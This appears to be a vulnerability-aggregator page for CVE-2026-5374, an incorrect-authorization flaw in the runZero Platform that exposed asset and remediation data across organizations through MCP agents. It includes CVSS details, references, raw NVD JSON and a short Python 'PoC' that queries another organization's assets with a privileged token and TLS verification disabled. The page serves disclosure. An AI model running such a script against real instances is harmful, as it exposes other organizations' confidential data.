CVE-2026-5374

Description

An issue that allowed MCP agents to access remediation and asset information from outside of the authorized organization scope has been resolved. This is an instance of CWE-863: Incorrect Authorization, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N (5.8 Medium). This issue was fixed in version 4.0.260202.0 of the runZero Platform.

CVSS Details

CVSS Score

5.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:* - VULNERABLE

runZero Platform < 4.0.260202.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
target_url = "https://target-runzero-instance/api/v1.0/assets"

# Auth token obtained from a high-privileged MCP agent session
auth_token = "HIGH_PRIVILEGED_TOKEN_HERE"

# Headers
headers = {
    "Authorization": f"Bearer {auth_token}",
    "Content-Type": "application/json"
}

# Payload: Attempt to access an asset ID belonging to a different organization
# In a vulnerable version, the system might not validate the org_id context
malicious_payload = {
    "search": "org_id:TARGET_EXTERNAL_ORG_ID"
}

try:
    # Sending the request
    response = requests.post(target_url, json=malicious_payload, headers=headers, verify=False)

    # Check if unauthorized data is returned
    if response.status_code == 200:
        print("[+] Exploit Successful! Leaked Asset Data:")
        print(response.json())
    else:
        print("[-] Exploit Failed or Patched.")

except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5374
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5374
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5374/
[4] VulDB https://vuldb.com/cve/CVE-2026-5374
[5] https://help.runzero.com/docs/release-notes/#402602020
[6] https://www.runzero.com/advisories/runzero-platform-mcp-infoleak-cve-2026-5374/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5374", "sourceIdentifier": "44488dab-36db-4358-99f9-bc116477f914", "published": "2026-04-07T15:17:47.307", "lastModified": "2026-04-21T15:10:18.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue that allowed MCP agents to access remediation and asset information from outside of the authorized organization scope has been resolved. This is an instance of CWE-863: Incorrect Authorization, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N (5.8 Medium). This issue was fixed in version 4.0.260202.0 of the runZero Platform."}], "metrics": {"cvssMetricV31": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.260202.0", "matchCriteriaId": "0C017AE6-897C-4120-B1B0-B1238A3CC741"}]}]}], "references": [{"url": "https://help.runzero.com/docs/release-notes/#402602020", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Release Notes"]}, {"url": "https://www.runzero.com/advisories/runzero-platform-mcp-infoleak-cve-2026-5374/", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Vendor Advisory"]}]}}